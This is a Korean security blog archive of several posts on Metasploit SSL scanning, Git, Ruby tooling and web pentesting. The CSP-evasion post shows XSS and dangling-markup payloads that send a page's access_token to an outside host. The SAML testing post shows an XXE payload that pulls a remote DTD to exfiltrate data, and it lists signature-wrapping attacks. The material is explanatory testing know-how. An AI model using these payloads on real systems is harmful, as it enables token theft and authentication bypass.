7/30/2018

SSL Labs scan API on Metasploit (msf로 SSL 등급을 평가하자)

오늘은 Metasploit 모듈 중 SSL Lab API Client 모듈에 대해 소개해드릴까 합니다.
SSL 평가(취약점~Cipher 지원 등등) 사이트로 유명한 SSLLab(https://www.ssllabs.com)에선 각 도메인에 대한 SSL에 대한 분석 결과 지표를 제공해줍니다.

요런식으로 결과를 제공해주죠, 아래로 내리면 상세항목까지!

보통은 홈페이지에서 직접 돌리거나 따로 코드짜서 돌리실 것 같은데, 찾다보니 Metasploit 모듈로도 제공되고 있었네요.. (사실 ssl 항목으로 뒤져보다가 얻어걸림)

HAHWUL (Sessions: 0 Jobs: 0) auxiliary(gather/ssllabs_scan) > search ssl

Matching Modules
================

   Name                                                        Disclosure Date  Rank       Description
   ----                                                        ---------------  ----       -----------
   auxiliary/dos/http/sonicwall_ssl_format                     2009-05-29       normal     SonicWALL SSL-VPN Format String Vulnerability
   auxiliary/dos/ssl/dtls_changecipherspec                     2000-04-26       normal     OpenSSL DTLS ChangeCipherSpec Remote DoS
   auxiliary/dos/ssl/dtls_fragment_overflow                    2014-06-05       normal     OpenSSL DTLS Fragment Buffer Overflow DoS
   […생략…]

   auxiliary/gather/ssllabs_scan                                                normal     SSL Labs API Client

SSL LABs API Client가 있었다니..

Options

옵션은 별다른게 없이 정말 단순합니다. HOSTNAME 정도만 지정해주면 됩니다.

HAHWUL (Sessions: 0 Jobs: 0) auxiliary(gather/ssllabs_scan) > show options

Module options (auxiliary/gather/ssllabs_scan):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   DELAY           5                yes       The delay in seconds between  API requests
   GRADE           false            yes       Output only the hostname: grade
   HOSTNAME                         yes       The target hostname
   IGNOREMISMATCH  true             yes       Proceed with assessments even when the server certificate doesn't match the assessment hostname
   USECACHE        true             yes       Use cached results (if available), else force live scan


또한 Advanced도 별다른게 없네요.

HAHWUL (Sessions: 0 Jobs: 0) auxiliary(gather/ssllabs_scan) > show advanced

Module advanced options (auxiliary/gather/ssllabs_scan):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Scan

HOSTNAME 세팅 후 돌려주시면 끝납니다. 각각 SSL 취약점 항목부터, Rating 까지 제공해주기 떄문에 결과를 잘 파싱하면 대량의 서비스를 쉽게 돌려볼 수 있을듯 합니다. 

HAHWUL (Sessions: 0 Jobs: 0) auxiliary(gather/ssllabs_scan) > set HOSTNAME www.hahwul.com
HOSTNAME => www.hahwul.com
HAHWUL (Sessions: 0 Jobs: 0) auxiliary(gather/ssllabs_scan) > show options

Module options (auxiliary/gather/ssllabs_scan):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   DELAY           5                yes       The delay in seconds between  API requests
   GRADE           false            yes       Output only the hostname: grade
   HOSTNAME        www.hahwul.com   yes       The target hostname
   IGNOREMISMATCH  true             yes       Proceed with assessments even when the server certificate doesn't match the assessment hostname
   USECACHE        true             yes       Use cached results (if available), else force live scan

돌려보면...

HAHWUL (Sessions: 0 Jobs: 0) auxiliary(gather/ssllabs_scan) > run
[*] SSL Labs API info
[*] API version: 1.32.3
[*] Evaluation criteria: 2009p
[*] Running assessments: 0 (max 25)
[*] Server: www.hahwul.com - Resolving domain names
[*] Scanned host: 2607:f8b0:4005:80a:0:0:0:2013 (sfo07s17-in-x13.1e100.net)- 0% complete (Testing Session Ticket support)
[*] Ready: 0, In progress: 1, Pending: 1
[*] www.hahwul.com - Progress 0%

[… 생략 …]

[*] Report for sfo07s13-in-f19.1e100.net (216.58.194.179)
[*] -----------------------------------------------------------------
[+] Overall rating: A
[+] TLS 1.2 - Yes
[+] TLS 1.1 - Yes
[+] TLS 1.0 - Yes
[+] SSL 3.0 - No
[+] SSL 2.0 - No
[+] Secure renegotiation is supported
[!] BEAST attack - Yes
[+] POODLE SSLv3 - Not vulnerable
[+] POODLE TLS - Not vulnerable
[+] Downgrade attack prevention - Yes, TLS_FALLBACK_SCSV supported
[+] Freak - Not vulnerable
[+] RC4 - No
[*] Heartbeat (extension) - No
[+] Heartbleed (vulnerability) - No
[+] OpenSSL CCS vulnerability (CVE-2014-0224) - No
[+] Forward Secrecy - With modern browsers
[+] Strict Transport Security (HSTS) - Yes
[!] Public Key Pinning (HPKP) - No
[+] Compression - No
[*] Session resumption - Yes
[*] Session tickets - No
[*] OCSP Stapling - No
[*] Next Protocol Negotiation (NPN) - Yes (grpc-exp h2 http/1.1)
[*] SNI Required - Yes
[*] Auxiliary module execution completed

이런식으로 결과를 받을 수 있습니다. 웹과 동일하게 Rating A네요 :)



Share: | Coffee Me:

7/28/2018

Git commit으로 Issue 종료하기(Closing issue with commit)

Git은 코드 관리 뿐만 아니라 Issue 관리에 있어도 굉장히 편리한 도구입니다.
코드 반영을 위해 Commit 하는 과정에서 특정 키워드와 이슈번호를 같이 기입해주면 자동으로 Issue에 대한 처리도 같이 진행됩니다.

아시겠지만, 이슈넘버는 이겁니다.

Closing issue(single, multi) with commit

특별한건 없습니다. commit 시 종료를 의미하는 키워드들이 메시지 내부에 있고, 이슈 번호가 같이 기입되 있는 경우 해당 이슈를 종료처리 하게됩니다.

#> git commit -m "fixed XSS Vulnerability - #20"

이런식으로 commit 메시지를 지정하게 되면 메시지에 이슈넘버(#20), fixed(종료 키워드)가 있기 떄문에 push 시 #20번 이슈가 같이 종료되게 됩니다.
또한 commit 과 issue는 서로 연결되어 보여지기 떄문에 보기에도 좋습니다.

종료 키워드는 아래와 같습니다.

- close
- closes
- closed
- fix
- fixes
- fixed
- resolve
- resolves
- resolved

또한 한 커밋에 여러개의 이슈 넘버가 있는 경우 같이 종료하게 됩니다.

#> git commit -m "fixed XSS Vulnerability - #20, #21, #23"

위 메시지로 커밋 시 #20,#21,#23 모두 닫힙니다.

Other repo..

한 커밋으로 다른 repo의 이슈 또한 종료 시킬 수 있습니다.

다른 repo의 이슈 종료

예를들면..

#> git commit -m "close issue #21 #22 and [other_repo_path]#10" 

이렇게 다른 repo의 path와 이슈넘버가 같이 있는 경우에 해당 repo의 이슈도 종료됩니다(물론 권한은 당연히 있어야겠지요)

Reference

https://help.github.com/articles/closing-issues-using-keywords/


Share: | Coffee Me:

7/25/2018

tracer을 이용한 ruby code tracing(코드 흐름 분석)

루비 코드 분석을 하던 중 흐름 추적(?), code tracing을 하기 위해 알아보다가 찾은 라이브러리 공유드립니다.

새로운 툴은 언제나 환영이야! / The world could always use more tool.

tracer 라는 라이브러리고 코드단에서 시작 부분과 끝 부분을 명시해주면 해동 코드 내 동작 순서를 로깅해줍니다.

#> gem install tracer

별도의 명령행으로 지원하지는 않습니다. 그냥 코드에서 직접 삽입해서 테스트하면 됩니다.

require 'tracer'

Tracer.on   #Tracing을 시작할 부분

a = [1,2,3,4,5]
a.each do | number |
  puts number
end

Tracer.off  #off를 만날때까지 Tracing 함

실행해보면.. 실행헀던 코드라인과 코드 내용을 한번에 볼 수 있습니다.

#> ruby test.rb
#0:test.rb:6::-: a = [1,2,3,4,5]
#0:test.rb:7::-: a.each do | number |
#0:test.rb:8::-:   puts number
1
#0:test.rb:8::-:   puts number
2
#0:test.rb:8::-:   puts number
3
#0:test.rb:8::-:   puts number
4
#0:test.rb:8::-:   puts number
5
#0:test.rb:11::-: Tracer.off  #off를 만날때까지 Tracing 함



다른 소스에 Tracer 메소드를 삽입하는 형태로 Command line 툴로 만들어서 써도 괜찮을듯하네요 :)
(맨 끝 찾는게 일이려나..)

라이브러리 사용이 있는 경우

라이브러리 사용이 있는 경우엔 라이브러리 내부까지 체크해서 결과를 리턴합니다. 제 코드중 가장 짧은 ftc(https://github.com/hahwul/ftc)에 맨 앞부분과 뒷부분에 넣고 돌려보면 라이브러리 하단까지 잡히는 걸 볼 수 있습니다.

큰 코드 불러오면 난리날듯..


Share: | Coffee Me:

7/22/2018

insomnia - REST API를 쉽게 테스트하자(Simple/Powerfull REST API Client)

오늘 소개해드릴 툴은 REST API 테스팅 툴인 insomnia(https://insomnia.rest) 입니다.
예전에 쓸만하다라는 이야기를 듣고 PC에 깔았었는데, 잊고 지내다가 최근에 다시 깔려고 했던 그런 친구입니다..



Install 

insomnia는 크로스 플랫폼을 지원하며 예전에 깔았을 떈 MACOS 에서 설치했기 떄문에 그냥 패키지 파일 받아서 설치했었습니다.

Linux, MACOS, Windows 모두 패키지를 지원하지만, 리눅스의 경우 OS에 따라 apt, yum, pacman 등에 없을 수 있습니다. 저의 경우에도 apt쪽에 직접적으로 등록된 건 아니라 바로 설치는 안됬었습니다.

#> apt-cache search insomnia
libibtk-dev - Insomnia's Basic ToolKit: Development Libraries and Header Files
libibtk0 - Insomnia's Basic ToolKit

(아 없어...)

우선 source.list.d(이게 더 관리하기 좋죠) 나 source.list에 insomnia의 repo address를 넣어줍니다.

#> echo "deb https://dl.bintray.com/getinsomnia/Insomnia /" \
    | sudo tee -a /etc/apt/sources.list.d/insomnia.list

그 다음 apt-get update 시 발생할 키 문제를 미리 해결하기 위해 키 파일을 받아 추가해줍니다.
(이건 대부분 외부 패키지들은 동일한 과정이죠)

#> wget --quiet -O - https://insomnia.rest/keys/debian-public.key.asc
#> apt-key add -

그럼 이제 패키지 매니저를 통해 insomnia를 설치할 수 있습니다.

#> apt-cache search insomnia
libibtk-dev - Insomnia's Basic ToolKit: Development Libraries and Header Files
libibtk0 - Insomnia's Basic ToolKit
insomnia - A simple, beautiful, and free REST API client

다른 리눅스 배포판들도 비슷한 형태이니 repo 주소 추가하고 받아주시면 됩니다.(각각 별로 지원, 물론 아치 계열은 잘 모르겠음..)


Run

insomnia를 실행 후 우선 workspace를 만들어야합니다. 그냥 하나의 단위의 REST API 묶음이라고 보시면 되고 여러 REST API 리스트를 관리할 수 있습니다.

묶음 단위인 Workspace를 만들어주고..

해당 REST API 이름을 지정

인증 추가도 가능능


Ctrl + N(새 요청 생성) 으로 New request를 만들어주면서 하나하나씩 RESP API를 추가해주면 됩니다.

Arachni REST API로 테스트해보면 잘 리턴됩니다. (스캔 돌린게 없어서 결과가 없는건 함정)

로컬상에서의 로그로 봐도..

추가로 Preference에 보시면 theme 부터 plugin 등도 사용할 수 있습니다. 기능 덧붙이면 더더욱 편하겠네요.  (그리고 찾아보니 올해 swagger쪽 지원할 수도 있다는 이야기가 있네요. 물론 git 유저간 대화)

Black 테마가 눈에 안아프고 좋아요 :)

감사합니다.
Share: | Coffee Me:

7/20/2018

XSS 없이 DOM 내 중요정보 탈취, CSP 우회하기(Eavading CSP and Critical data leakage No XSS)

최근 Portsiwgger 블로그에 재미있는 글이 올라와 관려해서 글 작성해봅니다.
(https://portswigger.net/blog/evading-csp-with-dom-based-dangling-markup)

csp evasion 기술에 대한 이야기로 웹 브라우저 내 전달받은 token 이나 중요정보에 대한 탈취가 가능한 재미있는 트릭입니다.

[ Request ]
GET /test.html?param=abcd<br>ef

[ Response ]
abcd<br>ef
<script>
 var access_token = 'secret!!!!'
</script>
<input type="text">

이런 페이지가 있다고 가정헀을 때 access_token 값은 어떻게 탈취 할 수 있을까요?
음 저라면 XSS를 이용해서 이런식으로 요청할 것 같습니다.

[ Request ]
GET /test.html?param=abcd<svg/onload=document.write('<img/src=https://www.hahwul.com/get?+document.scripts[0].innerText+' style=width:1px;height:1px;>'>

[ Response ]
<svg/onload=document.write('<img/src=https://www.hahwul.com/get?+document.scripts[0].innerText+' style=width:1px;height:1px;>'
<script>
 var access_token = 'secret!!!!'
</script>
<input type="text">

Portswigger 쪽 연구원이 고안한(?) 기발한 방법은 " 를 일부러 닫지 않아 토큰 영역까지 src 부분으로 넣어버리는 겁니다..

[ Request ]됨
GET /test.html?param=<img/src="https://www.hahwul.com/get?

[ Response ]
<img/src="https://www.hahwul.com/get?
<script>
 var access_token = 'secret!!!!'
</script>
<input type="text">

그러면 src 부분이 아래 <script> 영역도 포함하게 되어 토큰값이 url로 들어가게 됩니다. 쭉쭉 가다가 input 태그의 " 를 만나서 멈추겠죠.

결국은 www.hahwul.com 으로 access_token이 전송됨

평소에 XSS 테스트하면서 저런 형태의 에러(?)를 자주 만났는데, 이런 생각은 못해봤었네요..

아무튼 " 부터 중요값까지 "가 없어야하고, reflected param 구간이 중요 데이터보다 위에 있어야하는 둥 조건이 조금 까다롭긴 하지만, XSS 가 없는 상황에서도 " 구간만 넘어갈 수 있으면 언제든지 사용가능할 것 같네요.

테스트해야할 부분이 하나 더 생긴 느낌입니다.......  (그런데, " 밖으로 나가면 별일 없으면 XSS 가능하긴합니다. 태그던 핸들러던 뭐던 구문 넣을 수 있는 포인트가 너무나도 많아요,)

아 물론, Javascript 내부에서 의미가 없습니다. Javasciprt는 " 이후 개행 시 \(backslash)가 없으면 에러가 발생합니다 :)

Conclusion

아무튼, 생각의 전환은 참 재미있습니다. 별거 아니지만 떄에 따라선 중요 데이터 탈취나 다른 취약점에 활용할 수 있으니 잘 인지해둡시다 :)
Share: | Coffee Me:

7/18/2018

Rubocop auto correct를 이용한 루비 코드 정리하기(리팩토링)

최근에 루비 프로그래밍 스타일 가이드 관련해서 글을 하나 작성했었는데요, 이어서 그떄 잠깐 소개드렸던 rubocop을 이용해서 코드를 교정하는 과정에 대해 잠깐 이야기할까 합니다.
(https://www.hahwul.com/2018/07/awesome-awesome-ruby-programming-style.html)

auto correct in rubocop 

지난번에 rubocop 사용 관련해서 지금 틈내서 개발중인 recon-raven 쪽 코드로 돌려봤는데요.. 어마어마한 양이 나왔습니다.

5 files inspected, 370 offenses detected



무려 370개나 문제가 있다고 하네요..

그래서 쉽게 고칠 수 있는 방법이 뭐 없을까 하다가 옵션을 보니깐 auto-correct 기능이 있었습니다.

#> rubocop -h | grep auto-correct
    -a, --auto-correct               Auto-correct offenses.
    -x, --fix-layout                 Run only layout cops, with auto-correct on.


오 어느정도 자동 수정이 가능하겠단 이야기군요, 물론 관련해서 rubocop쪽 github에 safe 버전으로도 만들어서 사용하자란 이야기도 있었습니다. 그만큼 코드 동작에 문제가 발생할 수 있는 부분이니 신중하게 잘 확인하셔야 할 것 같습니다.
아무튼 -a , --auto-correct 옵션으로 발견 사항 일부에 대해 자동 교정이 가능합니다. 그럼 바로 적용해봅시다.

#> rubocop -a
[....]
5 files inspected, 522 offenses detected, 473 offenses corrected

희안하게 탐지량이 늘긴했지만, 무려 473개나 수정해주었네요. 내용을 살펴보면 대충 연산자 사이 공백 추가, 주석 뒤 공백 추가 같은 부분들이라 코드 동작에는 지장 없을 것 같습니다.


이제 다시 rubocop으로 리체킹해보면..

#> rubocop

 $$$$$$c    $$\"\"\"\"  $$$        $$$,     $$$$$$ \"Y$c$$ cccc $$$$$$c     c$$$cc$$$cY$c.$$\"     $$\"\"\"\"   $$$ \"Y$c$$
                                                                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
src/func_print.rb:22:81: C: Metrics/LineLength: Line is too long. [114/80]
 888b \"88bo,888oo,__`88bo,__,o,\"888,_ _,88P888    Y88      888b \"88bo, 888   888,Y88P       888oo,__ 888    Y88
                                                                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
src/func_print.rb:23:81: C: Metrics/LineLength: Line is too long. [130/80]
 MMMM   \"W\" \"\"\"\"YUMMM \"YUMMMMMP\" \"YMMMMMP\" MMM     YM      MMMM   \"W\"  YMM   \"\"`  MP        \"\"\"\"YUMMMMMM     YM"
                                                                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

5 files inspected, 49 offenses detected


49개 남았네요, 남은것들 중 가능한 부분은 수정합시다!


Conclusion

그와중에 else if , elseif 이건 좀 의외네.. 보통 else if 를 많이 사용한다고 생각했는데.
if

else if

end
end

rubocop 기준으론 아래가 좋은 코드라고 하네요.

if

elseif

end
end
Share: | Coffee Me:

Ruby Limit to number of thread in loop(반복문에서 제한된 갯수의 쓰레드 돌리기)

보통 쓰레드는 개별단위의 처리 수행이나 고 성능의 작업(요청을 엄청나게 전송한다는 둥, 빠른 계산이 필요한다는 둥)이 필요할 때 동일한 코드로 공유되는 자원을 할당받으며 처리하는 식으로 많이 구성하게 됩니다.

thread를 관리하는 manager를 하나 만들고 각각 업무 큐에서 할당해주는 식으로 구현하면 좋지만, 단순하게 루프문에서 쓰레드를 생성하여 처리 시 엄청난 양의 쓰레드가 발생할 수 있습니다.

이럴 떄 간단한 트릭으로 쓰레드의 limit을 정하고 제한된 쓰레드들로 loop를 돌며 처리하도록 구성할 수 있습니다. (thread 를 관리하는 친구를 만들면 되지만, 굳이 그런거 까지 필요하지 않는 경우들이 있다죠)

slice maximum job for thread

array의 each_slice 함수를 활용하면 루프문 안에서 쓰레드 수의 제한이 있는 멀티쓰레드 처럼 구현할 수 있습니다.
우선 loop를 돌 array의 데이터를 최종 쓰레드 수만큼 잘라줍니다. 그 후 잘린 데이터를 처리하는 개별 쓰레드를 생성해주면 결과적으로 최종 쓰레드 만큼 쓰레드가 생성되서 각각의 할당된 일거리를 처리하게 됩니다.

arr = (1..100).select(&:odd?)  # 총 50개의 데이터를 처리할 예정(홀수)

arr.each_slice(5) do | jobs |  # each_slice로 array의 5등분으로 짤라줌(즉 한 팩에 10개가 들어감)
  jobs.map do | number |       # jobs에는 10개의 데이터가 들어가게 됨
    Thread.new do              # 한번에 10개의 데이터를 처리하는 1개의 쓰레드가 생성됨
      sleep 1
      puts number              # 이렇게 되면 반복문으로 계속 재 호출하는데, 10개의 데이터를 처리하는 5개의 쓰레드가 생성됨
    end
  end.each(&:join)             # 모든 쓰레드가 종료될떄 까지 기다림 조인조인
end

Share: | Coffee Me:

7/13/2018

Security testing SAML SSO Vulnerability & Pentest(SAML SSO 취약점 분석 방법)

한가지 계정정보를 가지고 여러 서비스를 로그온하여 사용하는 경우를 Single Sign On, 즉 SSO 라고 하는데요 오늘은 이 SSO 종류 중 SAML에 대한 이야기와 취약점 분석 방법에 대해 정리할까 합니다.

우선 SSO는 SAML 이외에도 cas, Oauth 등 여러가지가 있습니다.  cas 는 쿠키기반이기 때문에 상위 도메인이 같은 경우(e.g www.hahwul.com , vaha.hahwul.com)에만 사용이 가능하고 SAML 과 OAuth는 이외에 크로스 도메인 환경에서도 사용이 가능합니다.
그래서 대부분 인증 서비스들은 3개 중 하나로 구성되거나 모두 지원하는 경우가 많습니다.

cas와 OAuth는 이전에 테스트해본 경험이 좀 있었지만 SAML은 테스팅으론 거의 드물었기 떄문에(한번? 해본거 같긴한데, 그땐 좀 정리가 안됬죠) 이참에 블로그에서 하나 정리합니다. 그럼 시작해보죠.



SAML이란?

우선 SAML은 Security Assertion Markup Language 으로 하나, 또는 복수의 인증 제공자가 여러 서비스에 인증 정보를 제공해주는 형태로 구성됩니다. 아래 그림 참고하시면 조금 도움됩니다.

꼭 알아야할 부분들이 몇가지 있습니다.

IdP(Identity Provider) : 인증 제공자, 즉 인증정보를 기반으로 사용자의 크리덴셜을 증명함? 무튼 너가 이 사용자가 맞다는걸 증명해주는 존재
SP(Service Provider) : 말그대로 서비스 제공자,  IdP 로 부터 받은 데이터를 기반으로 사용자를 식별해서 사용함, 즉 SP가 인증 구조를 가질 필요가 없다는 점
Assertion : 인증/크리덴셜 정보를 의미하는 데이터

보편적인 웹 취약점

결국은 SAML로 통신을 처리하는 규악인 프로토콜과 그를 기반하는 Language일뿐 웹 상에서 동작한다는 것은 동일합니다. IdP의 경우에는 사용자 입력을 받아 인증정보를 처리하기 때문에 기본적인 웹 취약점 이외에도 SQLI나 인증 관련 부분들이 주요 포커스로 볼 수 있을 것 같습니다.
SP는 당연히 서비스이기 때문에 일반 웹 서비스 분석과 동일하고 추가적으로 인증 정보를 받아오는 과정에서 발생할 수 있는 문제들(잘못된 인증정보인데 처리한다는 둥 등...) 또한 주의깊게 보셔야할 부분인 것 같습니다.

SAML 자체에 대한 부분들은 아래에서 추가로 설명드릴것이고 이번 단락에서 드리고 싶은 말씀은 SAML 통신 과정도 결국은 웹이고 어플이케이션이기 때문에 다른 웹, 모바일, 시스템 등등에서 보는 방식과 동일한 시선으로도 보셔야합니다.
SAML 취약점으로 알려진 부분들만 보게되면 분명히 놓치게 됩니다..

XXE

SAML은 xml 문서를 통해 서명하고 이를 확인하여 인증정보에 대한 내용을 처리하는데요, 이 과정에서 XML Parser가 들어가기 때문에 XXE 취약점은 무조건 확인이 필요합니다. 물론 대부분이 라이브러리를 사용하기 떄문에 찾게되면 라이브러리 취약점일 가능성이 높고,
이외에 직접 구현하여 사용하는 경우에는 나올 확률이 굉장히 높은 취약점입니다. 하나 중요한 부분이 있다면 SAML 문서가 넘어가는 과정은 모두 체크가 필요하다는 점입니다.

대체로 많은 SAML 테스트 관련 내용들은 인증정보를 처리하는 부분(제가 인증 받은 사용자고, 메일은 뭐고, 이 문서에 대한 서명과 시그니처는 이거고.. 이런 부분이죠) 뿐만 아니라 SAML 처리 과정 초기 부분(meta 주소 교환하고 하는 과정들) 모두 체크해야합니다.
이런건 사실 뒤에 나올 부분들도 다 동일합니다.

Signed Assertion 쪽 부분에 공격한다고 가정하면 이런식으로 코드가 들어가겠지요.

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY %hwul SYSTEM "http://x.x.x.x/attack.xml">
%hwul;
%param1;
]>
<r>&exfil;</r>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_8e8dc5f69a98cc4c1ff3427e5ce34606fd672f91e6" Version="2.0" IssueInstant="2014-07-17T01:01:48Z" Destination="http://sp.example.com/demo1/index.php?acs" InResponseTo="ONELOGIN_4fee3b046395c4e751011e97f8900b5273d56685">
  <saml:Issuer>http://idp.example.com/metadata.php</saml:Issuer>
  <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </samlp:Status>
  <saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="pfx012eb0b3-4531-4360-3409-90d12bb5fc85" Version="2.0" IssueInstant="2014-07-17T01:01:48Z">
    <saml:Issuer>http://idp.example.com/metadata.php</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
  <ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
    <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
  <ds:Reference URI="#pfx012eb0b3-4531-4360-3409-90d12bb5fc85"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><ds:DigestValue>S2lWw9N5YYNRmA1v7gjlRs0pbeE=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>mAHVi+gl0Oh/JqpL6NHV7YWSOtEAE1a6MvIuSmlc7ilaKymuOVoHL7AHXWA6w+KzuQAifLWP4eT9sPEiN5skTLnCsH1ytXIGRI6EFgV7W7+4GQsZrP9YYK3JOGPHui0swlBT+039lV9faFoFbHG3aR89gvb0Ut/4uGBzjfCGqJw=</ds:SignatureValue>
<ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIICajCCAdOgAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJ1czETMBEGA1UECAwKQ2FsaWZvcm5pYTEVMBMGA1UECgwMT25lbG9naW4gSW5jMRcwFQYDVQQDDA5zcC5leGFtcGxlLmNvbTAeFw0xNDA3MTcxNDEyNTZaFw0xNTA3MTcxNDEyNTZaMFIxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMRUwEwYDVQQKDAxPbmVsb2dpbiBJbmMxFzAVBgNVBAMMDnNwLmV4YW1wbGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDZx+ON4IUoIWxgukTb1tOiX3bMYzYQiwWPUNMp+Fq82xoNogso2bykZG0yiJm5o8zv/sd6pGouayMgkx/2FSOdc36T0jGbCHuRSbtia0PEzNIRtmViMrt3AeoWBidRXmZsxCNLwgIV6dn2WpuE5Az0bHgpZnQxTKFek0BMKU/d8wIDAQABo1AwTjAdBgNVHQ4EFgQUGHxYqZYyX7cTxKVODVgZwSTdCnwwHwYDVR0jBBgwFoAUGHxYqZYyX7cTxKVODVgZwSTdCnwwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQByFOl+hMFICbd3DJfnp2Rgd/dqttsZG/tyhILWvErbio/DEe98mXpowhTkC04ENprOyXi7ZbUqiicF89uAGyt1oqgTUCD1VsLahqIcmrzgumNyTwLGWo17WDAa1/usDhetWAMhgzF/Cnf5ek0nK00m0YZGyc4LzgD0CROMASTWNg==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature>
    <saml:Subject>
      <saml:NameID SPNameQualifier="http://sp.example.com/demo1/metadata.php" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient">_ce3d2948b4cf20146dee0a0b3dd6f69b6cf86f62d7</saml:NameID>
      <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
        <saml:SubjectConfirmationData NotOnOrAfter="2024-01-18T06:21:48Z" Recipient="http://sp.example.com/demo1/index.php?acs" InResponseTo="ONELOGIN_4fee3b046395c4e751011e97f8900b5273d56685"/>
      </saml:SubjectConfirmation>
    </saml:Subject>
[... 생략 ...]

Signature Wrapping(XSW Attack)

Signature Wrapping은 SAML 관련 대표적인 공격 방법입니다. 구현에 따라 다르지만 복수의 Assertion, Signature를 확인하지 않거나 순서에 따라 비 처리되는 상황도 존재합니다. 이에 대한 케이스들을 모두 테스트 할 필요가 있습니다.
공격을 한마디로 정의하자면.. Assertion, Signature가 여러개일 경우, 순서가 다르게 들어갈 경우 제대로 처리하지 않을 수 있기 때문에 코드를 삽입하여 Rewrite 하는 공격입니다.

- XSW Attack 1 (기존 서명 뒤에 서명되지 않은 내용 추가)
XSW Attack 2(기존 서명 앞에 서명되지 않은 내용 추가)
XSW Attack 3 (기존의 Assertion 앞에 Assertion의 서명되지 않은 내용 추가)
XSW Attack 4 (기존의 Assertion 다음에 Assertion의 서명되지 않은 내용 추가)
XSW Attack 5 (서명된 Assertion의 값을 변경하고 SAML 메시지의 끝에 서명이 제거 된 원본 Assertion 추가)
XSW Attack 6(서명된 Assertion의 값을 변경하고 SAML 메시지의 끝에 서명이 제거 된 변조 Assertion 추가)
XSW Attack 7(서명되지 않은 Extensions Block 추가)
XSW Attack 8(서명이 제거 된 원래 어설 션을 포함하는 Object Block 추가)

매번 케이스를 다 XML 코드로 작성할까 했느데, 글 양이 엄청 많아져 가독성이 좀 떨어질 것 같습니다. 우선은 아래 SAML Radier 확장기능으로 참고해주세요. (조만간 댓글로 추가해놓을게요...)

Burp Suite에는 SAML Raider라는 이를 테스트해줄 수 있는 좋은 도구가 있습니다. 물론 XSW 만 테스트하는 툴이 아닌 SAML 점검 시 유용한 확장 기능이기 떄문에 되도록이면 설치해두시는걸 추천드립니다.
(요즘 Burp보다 ZAProxy를 더 많이 쓰는데 이거 때문에 ZAProxy와 또 듀얼을 쓸 수 밖에 없었죠)

Proxy - Intercepter 로 SAML 요청을 잡고 Signature, Assertion에 대해 Rewrite하여 전송하면 됩니다. 코드는 자체적으로 추가하는 기능이 달려있어서 하나씩 해보면서 내용 보시면 제가 위에 적어드린 위치로 코드가 들어간다는 걸 알 수 있을겁니다.

공격이 성공하게 되면 비정상적인 SAML 요청을 가지고 인증에 성공할 수 있기 때문에 Assertion과 Signature에 대한 변조가 가능하게 됩니다. (고로 남의 계정으로 인증받을 가능성이 높아짐!)

Message Replay

재전송 공격입니다. 한번 인증에 사용된 SAML 요청을 재 사용이 불가능해야합니다. 통신 과정에서 SSL이 없을 수도 있고 SSLtrip되어 요청이 보일 수 있는데요. 재 사용이 가능하다면 인증받은 SAML 문서로 공격자 또한 동일하게 인증을 받아갈 수 있기 떄문입니다.
대체로 라이브러리단에서 체크해주고 있지만 없는 경우엔 반복 요청에 대해 처리하지 않도록 로직이 추가되어야겠지요.

Signature 관련 보안 문제들(Missing, Invaild, Diffrent IdP or SP)

SAML 문서에 대한 Signature는 이 문서의 내용을 증명해주는 장치인데요, 간혹 Signature가 없느 경우에도 처리하는 SAML 라이브러리나 서비스가 있습니다. 이럴 경우 SAML 문서에 대해 위조가 되어도 서버가 판독할 방법이 없어지죠.
또한 잘못된 Signature가 전송됬을때도 정확하게 체크해야합니다. 에를들면 A 내용에 대한 서명인데 공격코드가 추가되고 동일한 서명으로 전송했을 때 단순하게 서명이 있다는 것만 체크하면 문서 본문이 위조된체 코드가 넘어가게 됩니다.
그래서 SAML 문서 본문에 대해 정확한 Signature인지 체크가 필요합니다. 또한 IdP나 SP가 의도된 사이트에서 온 데이터인지 확인도 필요합니다. 의도하지 않은 IdP나 SP에서 온 요청을 처리하게 되면 잘못된 인증정보로 서비스를 사용할 수 있게 해줄 수 있습니다.

예를들면... A라는 서비스가 B라는 IdP서비스에 인증 정보를 사용합니다. 이 때 A가 어떤 IdP에서 온 요청인지 체크하지 않는다면 C라는 인증 IdP(공격자가 구성했을 수도 있지요)에서 온 요청을 처리하게 되는데 이 떄 문제가 SAML은 특정 값을 인증 데이터로 사용한다는 점입니다.
